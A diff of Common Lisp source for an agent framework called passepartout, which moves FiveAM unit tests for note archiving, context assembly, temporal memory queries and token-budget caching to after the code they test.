(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-symbolic-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(in-package :passepartout)
|
||||
@@ -277,3 +239,41 @@ and dispatches as needed. Called by the deterministic gate."
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic #'archivist-run)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-symbolic-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-symbolic-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
@@ -1,70 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-peripheral-vision-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vision-suite))
|
||||
(in-package :passepartout-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
(test test-semantic-retrieval-trigram
|
||||
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
|
||||
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
|
||||
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.0))))
|
||||
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
|
||||
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
|
||||
(is (> sim 0.75))))
|
||||
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
|
||||
(v6 (passepartout::embedding-backend-trigram "banana")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
|
||||
(is (< sim 0.3)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun context-query (&key tag todo-state type scope)
|
||||
@@ -226,3 +159,70 @@ Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
|
||||
(defskill :passepartout-symbolic-awareness
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-peripheral-vision-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vision-suite))
|
||||
(in-package :passepartout-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
(test test-semantic-retrieval-trigram
|
||||
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
|
||||
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
|
||||
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.0))))
|
||||
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
|
||||
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
|
||||
(is (> sim 0.75))))
|
||||
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
|
||||
(v6 (passepartout::embedding-backend-trigram "banana")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
|
||||
(is (< sim 0.3)))))
|
||||
|
||||
@@ -1,45 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-context-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:context-suite))
|
||||
|
||||
(in-package :passepartout-context-tests)
|
||||
|
||||
(fiveam:def-suite context-suite :description "Context manager verification")
|
||||
(fiveam:in-suite context-suite)
|
||||
|
||||
(fiveam:test test-push-pop-context
|
||||
"Contract 1-2: push-context and pop-context maintain stack order."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when stack-var
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(push-context :project "testapp" :base-path "/tmp" :scope :project)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
|
||||
(pop-context)
|
||||
(fiveam:is (null (symbol-value stack-var))))))
|
||||
|
||||
(fiveam:test test-context-save-load
|
||||
"Contract 3-4: context-save and context-load round-trip."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when (and stack-var pf-var)
|
||||
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
|
||||
(setf (symbol-value pf-var) tmpfile)
|
||||
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
|
||||
(context-save)
|
||||
(fiveam:is (probe-file tmpfile))
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(context-load)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
|
||||
(ignore-errors (delete-file tmpfile))))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *context-stack* nil
|
||||
|
||||
@@ -1,53 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-time-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:time-memory-suite))
|
||||
|
||||
(in-package :passepartout-time-memory-tests)
|
||||
|
||||
(def-suite time-memory-suite :description "Temporal memory filtering")
|
||||
(in-suite time-memory-suite)
|
||||
|
||||
(test test-memory-objects-since
|
||||
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
|
||||
(let ((since-t1 (passepartout::memory-objects-since t1)))
|
||||
(is (= 2 (length since-t1)))
|
||||
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
|
||||
(is (string= "time-c" (first ids)))
|
||||
(is (string= "time-d" (second ids))))
|
||||
(let ((since-t0 (passepartout::memory-objects-since t0)))
|
||||
(is (= 4 (length since-t0))))))))
|
||||
|
||||
(test test-memory-objects-in-range
|
||||
"Contract 2: ingest nodes, verify range query returns correct subset."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t2 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
|
||||
(let ((range (passepartout::memory-objects-in-range t1 t2)))
|
||||
(is (= 1 (length range)))
|
||||
(is (string= "rng-2" (memory-object-id (first range)))))))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun memory-objects-since (timestamp)
|
||||
@@ -111,3 +61,53 @@ Falls back to context-query if temporal filtering is not requested."
|
||||
time-filtered)
|
||||
time-filtered)))
|
||||
(subseq todo-filtered 0 (min max-results (length todo-filtered))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-time-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:time-memory-suite))
|
||||
|
||||
(in-package :passepartout-time-memory-tests)
|
||||
|
||||
(def-suite time-memory-suite :description "Temporal memory filtering")
|
||||
(in-suite time-memory-suite)
|
||||
|
||||
(test test-memory-objects-since
|
||||
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
|
||||
(let ((since-t1 (passepartout::memory-objects-since t1)))
|
||||
(is (= 2 (length since-t1)))
|
||||
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
|
||||
(is (string= "time-c" (first ids)))
|
||||
(is (string= "time-d" (second ids))))
|
||||
(let ((since-t0 (passepartout::memory-objects-since t0)))
|
||||
(is (= 4 (length since-t0))))))))
|
||||
|
||||
(test test-memory-objects-in-range
|
||||
"Contract 2: ingest nodes, verify range query returns correct subset."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t2 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
|
||||
(let ((range (passepartout::memory-objects-in-range t1 t2)))
|
||||
(is (= 1 (length range)))
|
||||
(is (string= "rng-2" (memory-object-id (first range)))))))))
|
||||
|
||||
@@ -1,102 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *prompt-prefix-cache* (cons nil "")
|
||||
@@ -221,6 +122,238 @@ Returns nil when no context cache data is available."
|
||||
(min 100 (floor (* 100 tokens) limit))
|
||||
nil)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src* v0.8.0 Tests — Context Usage
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(test test-context-usage-percentage
|
||||
"Contract 5: context-usage-percentage returns integer 0-100."
|
||||
;; Set up a cache with known token counts
|
||||
(let* ((ctx passepartout::*context-cache*)
|
||||
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
|
||||
16384)))
|
||||
(setf (getf ctx :identity-tokens) 1000
|
||||
(getf ctx :tool-tokens) 500
|
||||
(getf ctx :context-tokens) 2000
|
||||
(getf ctx :log-tokens) 800
|
||||
(getf ctx :config-tokens) 200
|
||||
(getf ctx :time-tokens) 100)
|
||||
(let ((pct (passepartout::context-usage-percentage)))
|
||||
(is (integerp pct))
|
||||
(is (<= 0 pct 100)))))
|
||||
|
||||
(test test-context-usage-percentage-empty-cache
|
||||
"Contract 5: context-usage-percentage returns nil with no cache data."
|
||||
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (getf passepartout::*context-cache* :identity-tokens) nil
|
||||
(getf passepartout::*context-cache* :tool-tokens) nil
|
||||
(getf passepartout::*context-cache* :context-tokens) nil
|
||||
(getf passepartout::*context-cache* :log-tokens) nil
|
||||
(getf passepartout::*context-cache* :config-tokens) nil
|
||||
(getf passepartout::*context-cache* :time-tokens) nil)
|
||||
(is (null (passepartout::context-usage-percentage))))
|
||||
(setf passepartout::*context-cache* saved-ctx))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
